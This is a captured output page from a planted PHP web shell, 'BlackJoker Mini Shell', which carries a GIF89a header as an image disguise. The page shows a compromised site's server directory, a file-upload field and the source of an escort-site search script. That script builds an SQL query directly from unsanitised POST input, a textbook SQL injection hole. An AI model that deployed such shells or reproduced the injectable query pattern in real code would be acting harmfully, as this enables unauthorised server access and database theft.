GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/escort_wise_search.php

<?
 session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
 <?
if($_POST['escortsearch'])
{
   
	$sql="SELECT * FROM escort_details WHERE user_name_screen='".$_POST['escortsearch']."'";
	$res=execute_query($sql);
	$num=mysql_num_rows($res);
	if($num>0)
	{
		$row=mysql_fetch_array($res);
		?>
        <script language="javascript">        		
			location.href="escort-service-dtls.php?estid=<?=$row['id']?>&city_id=<?=$row['escort_city']?>";
        </script>
		
	<? } 
	else { ?>
      
    	<script language="javascript">
        	alert("Sorry, you have provided an invalid Name");		
			location.href="index.php";
        </script>
    <? }
}
?>

./BlackJoker Mini Shell 1.0